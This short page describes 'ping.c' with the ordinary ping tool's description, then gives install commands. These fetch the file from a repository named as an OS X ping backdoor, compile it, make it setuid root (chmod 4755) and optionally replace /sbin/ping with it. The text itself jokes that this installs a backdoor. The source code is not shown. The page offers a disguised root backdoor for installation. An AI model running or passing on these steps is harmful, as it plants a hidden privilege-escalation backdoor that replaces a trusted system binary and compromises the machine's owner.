P I N G . C : Using the Internet Control Message Protocol (ICMP) “ECHO” facility, measure round-trip-delays and packet loss across network paths.

C Script:

Compilation & Installation:

– wget https://raw.githubusercontent.com/raincoats/osx-ping-backdoor/master/ping.c

– gcc ping.c -o ping

– chown root:wheel ./ping; chmod 4755 ./ping

– Optionally, mv /sbin/ping{,-backup} && mv ./ping /sbin (but I mean, really, are you sure you want a backdoor on your smackbook throw?)
